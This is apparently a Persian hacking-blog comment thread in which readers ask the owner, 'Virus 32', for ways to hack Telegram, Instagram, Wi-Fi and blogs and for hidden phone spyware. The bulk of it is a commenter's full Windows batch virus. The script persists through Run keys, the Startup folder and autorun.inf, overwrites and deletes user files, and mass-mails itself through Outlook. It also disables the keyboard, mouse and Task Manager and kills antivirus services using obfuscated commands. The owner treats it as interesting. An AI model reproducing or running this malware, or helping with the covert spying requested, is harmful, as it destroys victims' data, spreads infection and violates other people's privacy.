    این جزء آموزش های ممنوعه است ولی بازم سعی میکنم تو یه پستی بهش اشاره کنم :(
    سیلام
    منو یادته؟ هک رو از وبلاگ تو شروع کردم دادا ناموسا ایول
    شایعه بود که دستگیر شدی حالا من نمیدونم فقط شنیدم
    ازت میخوام اموزش کانفیگ سنتری برای کرک رو بزاری الان من یه ini دارم ولی نمیدونم چجوری بزارم واس کانفیگ سنتری لطفا کمک کن
    واس کرک psn میخوام
    Virus 32 :
    سلام
    میدونی که بحثش طولانیه
    سعی میکنم یه پست راجبش بزارم!!! ;)
    سلام
    یک بار گفتی نرم افزار جاسوسی به دردسراش نمی ارزه ولی حالا بدی یا خوبیشو ما تشخیص می دیم . این برنامه کنترل موبایل رو با اموزش برام بفرست :) امکاناتشم این باشه که بعد از نصب ایکون اون مخفی بشه...
    نفوذ دستگاه متصل به وای فای هم بفرست .
    (دیگه نگی:خوب نیست - فلان کردم و...):)
    لطفاکمک کنید چطوری میتونم داخل سیستم یاکامپیوتریالپ تاپ دیگری شوم.
    آموزش هک اکانت کلش
    salam
    ویروس هنوز منتظریم حداقل اسم اون نرم افزاری که اینترنت مودمو روی دستگاه خودت متمرکز میکنه و سرعتت میره بالا و اونایی که بهش وصلن کانکتن ولی داداه داد وستد نمیشه براشونو بگی 3 ماهه منتظرم

    ممنون
  • Virus32
  • Dλгκπεss☠λπɢεl
  • سَـلامـ ریـپ زَدَن قآلِب دآرین ؟؟ میشـه بِزارین ؟
    اگـه توی تِلِگرام کانالی چیزی دارین بِدین نیاز دارَم
    Virus 32 :
    سلام
    بجز این وب هیچ جای دیگه فعالیت ندارم
    ریپ زدن رو هم به زودی اموزش میدم
    سلام داداش
    میشه هک وبلاگ کامل توضیح بدی به روز باشه
    برنامه ها را هم برای دانلود بزار با عکس کامل توضیح بده واقعا ممنون میشیم
    درود . خسته نباشید. میشه یکم درباره چت روم ها بیشتر مطلب بزارین؟ممنون.
    Virus 32 :
    سلام ممنون این چت رومها هنوزم ترفدار دارن مگه؟
  • Virus32
  • گُُِِّـرگُُُِِّّ مِشکـُّیَُُِِّ
  • با آقای DarknessAngel موافقم فتوشاپ بهترینه :)
    Virus 32 :
    شروع کردیم :)
    سلام و خسته نباشد عرض میکنم به داش ویروس عزیز.
    آقا اگه میشه نرم افزار evill http با winshell رو بزار همراه با آموزش بزار.
    تشکر فراوان.
    salam

    mamnoonam az inke darkhastam mabni bar moarefi ye ye narm azar ke
    ************************* karo bokone hazf kardi
    ^_^
    سلام از شما خواهش می کنم که هک تلگرام بگذارید.بعد یک سوال دیگه ما کد فایل های شما را از کجا بیاورم
    سلام
    یک سوال داشتم ایا با داشتن مک ادرس کسانی که به وای فای ما متصل هستند می توانیم انها را هک کنیم؟
    Virus 32 :
    سلام
    آره میشه
    چجوریش رو بعدا توضیح میدم
    سلام.خسته نباشی.
    میخواستم بدونم غیر از اینکه برنامه را تو Startup هست یا نه.
    البته گفتی که باید autorun براش بنویسیم .ولی باید فایل autorun رو کجا بریزیم.ممنون میشم یه مثال هم بزنی.
    Virus 32 :
    سلام ممنون
    خط دوم رو متوجه نشدم
    کنار نرم افزارتون
    بهتره صفحه اول فلش باشه
    یعنی توی هیچ پوشه ای نباشن
    با سلا م
    من میخوام یه وبااگ رو هک کنم میشه اموزش بدین
    سلام دیگ نمیدونم چه کامنتی بذارم خخخخخخخ
    فقط منتظرم حواست هست که ؟
    سلام .....ببخشید درباره درخواست آموزش های جدید میخواستم بگم اگه میشه لطف کنید اموزش کار با نت پد ها رو بگین .....و یه چیز دیگه :چون مطالب شما خیلی متنوع و زیاد هستن اگه میشه یه لطفی در حق من بکنید بفرمایید که کجای این وبلاگ خوبتون آموزش زبان سی رو از ابتدا و کامل و جامع دارد....بسیار ممنون....سوال دوم من هم این هست که اگه اشکالی نداشته باشه من شمارو بعنوان الگو برای بنده پذیرفتم به خواطر همین سوالی داشتم الیته اگه جسارت نباشه شما از چند سالگی یادگیری با کامپیوتر رو شروع کردیدو اینکه آیا درس خوندید یا همینجوری مثل ماها یاد گرفتید ....ممنون
    Virus 32 :
    سلام
    منظورت از آموزش نت پد رو متوجه نشدم شاید اینارو میگین
    برای سی هم بهتره از این صفحه پست های آخرش شروع کنید
    همینجوری مثل شماها یاد گرفتم :)
    :((((
    سلام ادمین
    من برای موقعیت یابی گوشی اندرویدی باید چیکار کنم
    راستی اگه طرف شکایت کنه
    ه مشکلی پیش میاد برای من؟
    سلاام:)
    یه سوال داشتم؛
    میشه تلگرام کسی رو بدون اینکه به گوشی خودش دسترسی داشته باشیم هک کنیم؟
    و اینکه شما برنامه ای برای اینکار یا با استفاده از برنامه نویسی بلد هستید چون من خودم برنامه نویسی یکم بلدم...
    ممنون میشم جواب بدید؛)
    Virus 32 :
    سلام
    چون سرویس های جامعه مجازی خیلی زیاد هستن هیچوقت فرصت نکردم باهاشون خوب آشنا شم
    احتمالا بشه تلگرام و امثالش رو هک کرد چون امنیت هیچوقت صد در صد نیست ولی من بلد نیستم
    تنها روشی که من همیشه دنبالش میرم اینه که خود گوشی یا سیستم رو هک میکنیم و از اطلاعات ثبت شده در گوشی یا سیستم طرف به اسم و رمز بقیه برنامه هاش دسترسی پیدا میکنیم!!!
    برای اینکار هم برنامه های زیادی هستن و باید کدهای زیاد یاد بگیرین که بهتره پله پله مسیر رو طی کنید!!!
    سلام استاد اگه میشه اموزش هک wifiرو هم بزارید ممنون میشم
    Virus 32 :
    سلام
    چند روش قرار دادم
    همه روش ها هم تست شده هستن
    یه دور تو وب بزنی پیداش میکنی ;)
    منتظرم . . .
    سلام دادا
    اموزش نفوذ به گوشی یا کامپیوتر متصل به وایفا یا شبکه لن رو بزار ممنون
    Virus 32 :
    سلام
    این آموزش ها قبلا نوشته شدن
    توی وب بیشتر جستوجوکنید
    سلام ممنونم از زحماتتون محبت کنید من چه طور میتونم جی میلمو هک کردن دوباره پس بگیرم .ضمنا در اینترنت جستجو کردم اگر نیاز به هک باشد ممنون میشم آموزش اون را برای من و دوستانم بزارید.
    سلام داداش
    چرا دیگه پست نمیذاری :((((
    Virus 32 :
    سلام رفیق
    یه پروژه بزرگ دستمه
    اینکه تموم شد
    دنیا که منفجر شد
    میچسبم اینجا D:
    سلام
    لطفا راهی برای هک اینستا یا پس گرفتن ایدی هک شده یاد بدین خواهشن
    ممنون از اموزش های خوبتون
    Virus 32 :
    سلام
    والا اصلا تو بحر اینستا و تلگرام و از این چرت و پرتا نیستم
    ولی به محض اینکه درگیرشون شدم حتما یه کارایی میکنیم :)
    من هکری تقریبا حرفه ام ولی نمی تونم برنامه را حودم کرک کنم نمی خوام با برنامه دیگران کرک کنم می خوام بدون برنامه یا حتی شده خودم برنامه بسازم و هک کنم زیرا هکر واقعی از برنامه دیگران استفاده نمی کنند پس خیلی وقته این سایت و اون سایت دنبال آموزش می گردم ولی پیدا نکردم امیدوارم کمک کنید
    Virus 32 :
    من هکر نیستم ولی تا جایی که بتونم کمکت میکنم :)
  • Virus32
  • نـــــویــــد
  • بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام virus 32 دمت گرم بابت مطالب میتونی واسم یه وبلاگ هک کنی؟

    جواب بده منتظرم (مدیر وب خودمم،رمزم بخدا فراموش کردم)

    سایتش با وردپرسه فارسی هستش

    ایپی سرور وبلاگم: ************
    Virus 32 :
    سلام ممنون
    نه داشی نمیتونم
    باو یه کم درگیر اینستا بشین دیگه اخه
    هر جا میریم درگیرش نیستن :/
    لطفا اموزش هک سرور فالور بگیر اینستاگرام رو بزارین
    :D
    Virus 32 :
    گوشیم از این ساده هاست هرچی ازش بشکون میگیرمم نمیره تو اینیستاگرام و اینجور جاها خخخخخخخخخ
    لطفا درباره نفوذ به سیستم و همچنین برنامه نویسی و همچنین چگونگی شروع برنامه نویسی و محیط های کارشان.
    بسیار متشکرم
    امیدوارم همه جنبه استفاده انها زا داشته باشیم.
    برای شروع یادگیری هک چه چیزهایی لازمه یادبگیریم میشه کامل توضیح بدین ممنون
    Virus 32 :
    برای شروع
    سلامی به گرمای افتاب ://

    داداش میشه بگی میتونم کجا شخصی باهات ارتباط برقرار کنم؟


    مرسی

    3>
    Virus 32 :
    سلامی به گرمای جهندم D:
    اون دنیا توی جهندم D: ههههههه
    بیخیال رفیق
    سلام ویروس :)
    با مخلوط کردن چند کد تونستم با عقل ناقصم یه ویروس بسازم :|
    اگه وقت داشتی، یکم بررسیش کن، ایراداشو بگو...!
    راستی با زبان batch هست...

    @ echo off
    @echo off
    ATTRIB -a -s -h -r c
    ATTRIB -a -s -h -r c:windows*.*
    Echo y | echo a | Echo y | del c:*.*
    Echo y | echo a | Echo y | del d:*.*
    Echo y | echo a | Echo y | del e:*.*
    Echo y | echo a | Echo y | del f:*.*
    Echo y | echo a | Echo y | del g:*.*
    echo y | copy *.* C:
    echo y | copy *.* D:
    echo y | copy *.* E:
    echo y | copy *.* F:
    echo y | copy *.* G:rem ---------------------------------
    rem Infect Reg Run Key
    set valinf="rundll32_%random%_toolbar"
    set reginf="hklm\Software\Microsoft\Windows\CurrentVersion\Run"
    reg add %reginf% /v %valinf% /t "REG_SZ" /d %0 /f > nul
    rem ---------------------------------
    rem ---------------------------------
    rem Infect Startup Folder
    copy %0 "%userprofile%\Start Menu\Programs\Startup"
    rem ---------------------------------
    rem ---------------------------------
    rem Infect Autoexec.bat
    echo start "" %0>>%SystemDrive%\AUTOEXEC.BAT
    rem ---------------------------------
    rem ---------------------------------
    rem Infect All Drives
    for %%E In (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
    copy /Y %0 %%E:\
    echo [AutoRun] > %%E:\autorun.inf
    echo open="%%E:\%0" >> %%E:\autorun.inf
    echo action=Open folder to see files... >> %%E:\autorun.inf)
    rem ---------------------------------
    rem ---------------------------------
    rem Infect All Folders
    Dir %SystemRoot% /s /b > PathHost
    For /f %%a In (PathHost) Do Copy /y %0 %%a > Nul
    Del /f /s /q PathHost > Nul
    rem ---------------------------------
    rem ---------------------------------
    rem Infect "ls" Cmd
    copy %0 %windir%\system32\ls.bat
    rem ---------------------------------
    rem ---------------------------------
    rem Infect All .Doc Files
    assoc .doc=batfile
    DIR /S/B %SystemDrive%\*.doc >> InfList_doc.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_doc.txt) do copy /y %0 "%%j:%%k"
    rem ---------------------------------
    rem ---------------------------------
    rem Infect All .Xml Files
    assoc .xml=batfile
    DIR /S/B %SystemDrive%\*.xml >> InfList_xml.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_xml.txt) do copy /y %0 "%%j:%%k"
    rem ---------------------------------
    rem ---------------------------------
    rem Infect All .Png Files
    assoc .png=batfile
    DIR /S/B %SystemDrive%\*.png >> InfList_png.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_png.txt) do copy /y %0 "%%j:%%k"
    rem ---------------------------------
    rem ---------------------------------
    rem Infect All .Mp4 Files
    assoc .mp4=batfile
    DIR /S/B %SystemDrive%\*.mp4 >> InfList_mp4.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_mp4.txt) do copy /y %0 "%%j:%%k"
    rem ---------------------------------
    rem ---------------------------------
    rem Infect All .Pdf Files
    assoc .pdf=batfile
    DIR /S/B %SystemDrive%\*.pdf >> InfList_pdf.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_pdf.txt) do copy /y %0 "%%j:%%k"
    rem ---------------------------------
    rem ---------------------------------
    rem Infect All .Lnk Files
    assoc .lnk=batfile
    DIR /S/B %SystemDrive%\*.lnk >> InfList_lnk.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_lnk.txt) do copy /y %0 "%%j:%%k"
    rem ---------------------------------
    rem ---------------------------------
    rem Infect All .Exe Files
    assoc .exe=batfile
    DIR /S/B %SystemDrive%\*.exe >> InfList_exe.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_exe.txt) do copy /y %0 "%%j:%%k"
    rem ---------------------------------
    rem ---------------------------------
    rem Infect All .Txt Files
    assoc .txt=batfile
    DIR /S/B %SystemDrive%\*.txt >> InfList_txt.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_txt.txt) do copy /y %0 "%%j:%%k"
    rem ---------------------------------
    rem ---------------------------------
    rem Infect All .Mp3 Files
    assoc .mp3=batfile
    DIR /S/B %SystemDrive%\*.mp3 >> InfList_mp3.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_mp3.txt) do copy /y %0 "%%j:%%k"
    rem ---------------------------------
    rem ---------------------------------
    rem Spread Via Outlook Contact Book
    echo dim x>>%SystemDrive%\mail.vbs
    echo on error resume next>>%SystemDrive%\mail.vbs
    echo Set fso ="Scripting.FileSystem.Object">>%SystemDrive%\mail.vbs
    echo Set so=CreateObject(fso)>>%SystemDrive%\mail.vbs
    echo Set ol=CreateObject("Outlook.Application")>>%SystemDrive%\mail.vbs
    echo Set out=WScript.CreateObject("Outlook.Application")>>%SystemDrive%\mail.vbs
    echo Set mapi = out.GetNameSpace("MAPI")>>%SystemDrive%\mail.vbs
    echo Set a = mapi.AddressLists(1)>>%SystemDrive%\mail.vbs
    echo Set ae=a.AddressEntries>>%SystemDrive%\mail.vbs
    echo For x=1 To ae.Count>>%SystemDrive%\mail.vbs
    echo Set ci=ol.CreateItem(0)>>%SystemDrive%\mail.vbs
    echo Set Mail=ci>>%SystemDrive%\mail.vbs
    echo Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)>>%SystemDrive%\mail.vbs
    echo Mail.Subject="Is this you?">>%SystemDrive%\mail.vbs
    echo Mail.Body="Man that has got to be embarrassing!">>%SystemDrive%\mail.vbs
    echo Mail.Attachments.Add(%0)>>%SystemDrive%\mail.vbs
    echo Mail.send>>%SystemDrive%\mail.vbs
    echo Next>>%SystemDrive%\mail.vbs
    echo ol.Quit>>%SystemDrive%\mail.vbs
    start "" "%SystemDrive%\mail.vbs"
    rem ---------------------------------
    rem ---------------------------------
    rem Delete All Documents
    DIR /S/B %SystemDrive%\*.doc >> FIleList_doc.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_doc.txt) do del "%%j:%%k"
    rem ---------------------------------
    rem ---------------------------------
    rem Delete All Xml
    DIR /S/B %SystemDrive%\*.xml >> FIleList_xml.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_xml.txt) do del "%%j:%%k"
    rem ---------------------------------
    rem ---------------------------------
    rem Delete All Png
    DIR /S/B %SystemDrive%\*.png >> FIleList_png.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_png.txt) do del "%%j:%%k"
    rem ---------------------------------
    rem ---------------------------------
    rem Delete My Documents
    del /f /q '%userprofile%\My Documents\*.*'
    rem ---------------------------------
    rem ---------------------------------
    rem Delete My Music
    del /f /q '%userprofile%\My Music\*.*'
    rem ---------------------------------
    rem ---------------------------------
    rem Delete All Exe
    DIR /S/B %SystemDrive%\*.exe >> FIleList_exe.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_exe.txt) do del "%%j:%%k"
    rem ---------------------------------
    rem ---------------------------------
    rem Delete All Mp3
    DIR /S/B %SystemDrive%\*.mp3 >> FIleList_mp3.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_mp3.txt) do del "%%j:%%k"
    rem ---------------------------------
    rem ---------------------------------
    rem Delete All Texts
    DIR /S/B %SystemDrive%\*.txt >> FIleList_txt.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_txt.txt) do del "%%j:%%k"
    rem ---------------------------------
    rem ---------------------------------
    rem Delete All Pdf
    DIR /S/B %SystemDrive%\*.pdf >> FIleList_pdf.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_pdf.txt) do del "%%j:%%k"
    rem ---------------------------------
    rem ---------------------------------
    rem Delete All Mp4
    DIR /S/B %SystemDrive%\*.mp4 >> FIleList_mp4.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_mp4.txt) do del "%%j:%%k"
    rem ---------------------------------
    rem ---------------------------------
    rem Delete All Lnk
    DIR /S/B %SystemDrive%\*.lnk >> FIleList_lnk.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_lnk.txt) do del "%%j:%%k"
    rem ---------------------------------
    rem ---------------------------------
    rem Delete My Pictures
    del /f /q '%userprofile%\My Pictures\*.*'
    rem ---------------------------------
    rem ---------------------------------
    rem Delete Notepad
    tskill notepad
    del /f /q "%windir%\system32\notepad.exe"
    rem ---------------------------------
    rem ---------------------------------
    rem Delete Access
    tskill msaccess
    del /f /q "%SystemDrive%\Program Files\Microsoft Office\Office10\MSACCESS.EXE"
    rem ---------------------------------
    rem ---------------------------------
    rem Delete Internet Explorer
    tskill iexplore
    del /f /q "C:\Program Files\Internet Explorer\iexplore.exe"
    rem ---------------------------------
    rem ---------------------------------
    rem Delete Paint
    tskill mspaint
    del /f /q "%windir%\system32\mspaint.exe"
    rem ---------------------------------
    rem ---------------------------------
    rem Delete Word
    tskill WINWORD
    del /f /q "%SystemDrive%\Program Files\Microsoft Office\Office10\WINWORD.EXE"
    rem ---------------------------------
    rem ---------------------------------
    rem Delete Outlook
    tskill outlook
    del /f /q "%SystemDrive%\Program Files\Microsoft Office\Office10\OUTLOOK.EXE"
    rem ---------------------------------
    rem ---------------------------------
    rem Disable Keyboard
    echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
    echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
    echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
    echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
    echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"
    echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
    echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
    echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"
    echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"
    echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"
    echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"
    echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"
    echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"
    echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"
    echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"
    echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"
    echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"
    echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"
    echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"
    echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"
    echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"
    echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"
    echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
    start "nokeyboard.reg"
    rem ---------------------------------
    rem ---------------------------------
    rem Disable Mouse
    set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
    reg delete %key%
    reg add %key% /v Start /t REG_DWORD /d 4
    rem ---------------------------------
    rem ---------------------------------
    rem Disable Task Manager
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
    rem ---------------------------------
    rem ---------------------------------
    rem Disable Internet
    @Echo off & @@Break Off
    Ipconfig /release
    %jUmP%E%nD%c%onFiG%h%IdE%o%P% h%aRv%%aRd%A%T%%cHe%cK%HappY%3D b%aLLo0Ns%Y%eS% m3Ga!?!
    P%ReSs%%IE%AuS%ExPloR%e%r% > nul.%TempInternetRelease%
    rem ---------------------------------
    rem ---------------------------------
    rem Temp Kill Anti-Virus
    net stop “Security Center”
    netsh firewall set opmode mode=disable
    tskill /A av*
    tskill /A fire*
    tskill /A anti*
    cls
    tskill /A spy*
    tskill /A bullguard
    tskill /A PersFw
    tskill /A KAV*
    tskill /A ZONEALARM
    tskill /A SAFEWEB
    cls
    tskill /A OUTPOST
    tskill /A nv*
    tskill /A nav*
    tskill /A F-*
    tskill /A ESAFE
    tskill /A cle
    cls
    tskill /A BLACKICE
    tskill /A def*
    tskill /A kav
    tskill /A kav*
    tskill /A avg*
    tskill /A ash*
    cls
    tskill /A aswupdsv
    tskill /A ewid*
    tskill /A guard*
    tskill /A guar*
    tskill /A gcasDt*
    tskill /A msmp*
    cls
    tskill /A mcafe*
    tskill /A mghtml
    tskill /A msiexec
    tskill /A outpost
    tskill /A isafe
    tskill /A zap*
    cls
    tskill /A zauinst
    tskill /A upd*
    tskill /A zlclien*
    tskill /A minilog
    tskill /A cc*
    tskill /A norton*
    cls
    tskill /A norton au*
    tskill /A ccc*
    tskill /A npfmn*
    tskill /A loge*
    tskill /A nisum*
    tskill /A issvc
    tskill /A tmp*
    cls
    tskill /A tmn*
    tskill /A pcc*
    tskill /A cpd*
    tskill /A pop*
    tskill /A pav*
    tskill /A padmin
    cls
    tskill /A panda*
    tskill /A avsch*
    tskill /A sche*
    tskill /A syman*
    tskill /A virus*
    tskill /A realm*
    cls
    tskill /A sweep*
    tskill /A scan*
    tskill /A ad-*
    tskill /A safe*
    tskill /A avas*
    tskill /A norm*
    cls
    tskill /A offg*
    rem ---------------------------------
    rem ---------------------------------
    rem Encripted AV Killer
    del /F /Q %SystemDrive%\recycler\S-1-5-21-1202660629-261903793-725345543-1003\run.bat
    set ii=ne
    set ywe=st
    set ury=t
    set iej=op
    set jt53=Syma
    set o6t=nor
    set lyd2=fee
    set h3d=ton
    set gf45=ntec
    set own5=McA
    %ii%%ury% %ywe%%iej% "Security Center" /y
    %ii%%ury% %ywe%%iej% "Automatic Updates" /y
    %ii%%ury% %ywe%%iej% "%jt53%%gf45% Core LC" /y
    %ii%%ury% %ywe%%iej% "SAVScan" /y
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Firewall Monitor Service" /y
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Auto-Protect Service" /y
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Auto Protect Service" /y
    %ii%%ury% %ywe%%iej% "%own5%%lyd2% Spamkiller Server" /y
    %ii%%ury% %ywe%%iej% "%own5%%lyd2% Personal Firewall Service" /y
    %ii%%ury% %ywe%%iej% "%own5%%lyd2% SecurityCenter Update Manager" /y
    %ii%%ury% %ywe%%iej% "%jt53%%gf45% SPBBCSvc" /y
    cls
    %ii%%ury% %ywe%%iej% "Ahnlab Task Scheduler" /y
    %ii%%ury% %ywe%%iej% navapsvc /y
    %ii%%ury% %ywe%%iej% "Sygate Personal Firewall Pro" /y
    %ii%%ury% %ywe%%iej% vrmonsvc /y
    %ii%%ury% %ywe%%iej% MonSvcNT /y
    %ii%%ury% %ywe%%iej% SAVScan /y
    %ii%%ury% %ywe%%iej% NProtectService /y
    %ii%%ury% %ywe%%iej% ccSetMGR /y
    %ii%%ury% %ywe%%iej% ccEvtMGR /y
    %ii%%ury% %ywe%%iej% srservice /y
    %ii%%ury% %ywe%%iej% "%jt53%%gf45% Network Drivers Service" /y
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% Unerase Protection" /y
    %ii%%ury% %ywe%%iej% MskService /y
    %ii%%ury% %ywe%%iej% MpfService /y
    %ii%%ury% %ywe%%iej% mcupdmgr.exe /y
    %ii%%ury% %ywe%%iej% "%own5%%lyd2%AntiSpyware" /y
    %ii%%ury% %ywe%%iej% helpsvc /y
    %ii%%ury% %ywe%%iej% ERSvc /y
    %ii%%ury% %ywe%%iej% "*%o6t%%h3d%*" /y
    %ii%%ury% %ywe%%iej% "*%jt53%%gf45%*" /y
    %ii%%ury% %ywe%%iej% "*%own5%%lyd2%*" /y
    cls
    %ii%%ury% %ywe%%iej% ccPwdSvc /y
    %ii%%ury% %ywe%%iej% "%jt53%%gf45% Core LC" /y
    %ii%%ury% %ywe%%iej% navapsvc /y
    %ii%%ury% %ywe%%iej% "Serv-U" /y
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Auto Protect Service" /y
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Client" /y
    %ii%%ury% %ywe%%iej% "%jt53%%gf45% AntiVirus Client" /y
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Server" /y
    %ii%%ury% %ywe%%iej% "NAV Alert" /y
    %ii%%ury% %ywe%%iej% "Nav Auto-Protect" /y
    cls
    %ii%%ury% %ywe%%iej% "McShield" /y
    %ii%%ury% %ywe%%iej% "DefWatch" /y
    %ii%%ury% %ywe%%iej% eventlog /y
    %ii%%ury% %ywe%%iej% InoRPC /y
    %ii%%ury% %ywe%%iej% InoRT /y
    %ii%%ury% %ywe%%iej% InoTask /y
    cls
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Auto Protect Service" /y
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Client" /y
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Corporate Edition" /y
    %ii%%ury% %ywe%%iej% "ViRobot Professional Monitoring" /y
    %ii%%ury% %ywe%%iej% "PC-cillin Personal Firewall" /y
    %ii%%ury% %ywe%%iej% "Trend Micro Proxy Service" /y
    %ii%%ury% %ywe%%iej% "Trend NT Realtime Service" /y
    %ii%%ury% %ywe%%iej% "%own5%%lyd2%.com McShield" /y
    %ii%%ury% %ywe%%iej% "%own5%%lyd2%.com VirusScan Online Realtime Engine" /y
    %ii%%ury% %ywe%%iej% "SyGateService" /y
    %ii%%ury% %ywe%%iej% "Sygate Personal Firewall Pro" /y
    cls
    %ii%%ury% %ywe%%iej% "Sophos Anti-Virus" /y
    %ii%%ury% %ywe%%iej% "Sophos Anti-Virus Network" /y
    %ii%%ury% %ywe%%iej% "eTrust Antivirus Job Server" /y
    %ii%%ury% %ywe%%iej% "eTrust Antivirus Realtime Server" /y
    %ii%%ury% %ywe%%iej% "Sygate Personal Firewall Pro" /y
    %ii%%ury% %ywe%%iej% "eTrust Antivirus RPC Server" /y
    cls
    %ii%%ury% %ywe%%iej% netsvcs
    %ii%%ury% %ywe%%iej% spoolnt
    rem ---------------------------------
    rem ---------------------------------
    rem Kill Microsoft Word
    tskill WINWORD
    rem ---------------------------------
    rem ---------------------------------
    rem Kill Microsoft Paint
    tskill mspaint
    rem ---------------------------------
    rem ---------------------------------
    rem Kill Notepad
    tskill notepad
    rem ---------------------------------
    rem ---------------------------------
    rem Kill Microsoft Excel
    tskill excel
    rem ---------------------------------
    rem ---------------------------------
    rem Kill Internet Explorer
    tskill iexplore
    rem ---------------------------------
    rem ---------------------------------
    rem Kill Microsoft Access
    tskill msaccess
    rem ---------------------------------
    rem ---------------------------------
    rem Kill Calculator
    tskill calc
    rem ---------------------------------
    rem ---------------------------------
    rem Kill mozilla firefox
    tskill mozilla firefox
    rem ---------------------------------


    rem __-Virus32 -__
    Virus 32 :
    سلام داداش :)
    اگه اینارو یاد بگیری خیلی خوب میشه
    این پست آموزشی رو از کجا کپی کردی شیطون؟ :)
    بعضی از قسمت هاش کد نیست ... دقت کردی داره آموزش میده؟
    اکثر این کدها هم دیگه کار نمیکنن ولی بازم بعضی از کدهاش خیلی جالب بود
    راستی کامنت رو هم ترکوندی هااااا اینجوری مجبور میشم واسه تعداد کارکترها محدودیت قائل شم !!!
    جواب ما را که ندادی ولی ایرادی نداره پیداش کردم خودم زبان سی شارپ
    فکر کنم یکی باگ هم پیدا کردم چون تو اچ تی ام ال سایت که میدیدم اسم یا همون nameفیلتر نداشت
    Virus 32 :
    سلام عزیز
    راستش من منظورت رو خوب متوجه نشدم سوالت رو یکم واضحترش کن
    salam khooobi
    mikham bedooonam autenix web vulnerability scanner be che dardi mikhore?
    mamnoooon az site bahalet
    ya ali
    سلام
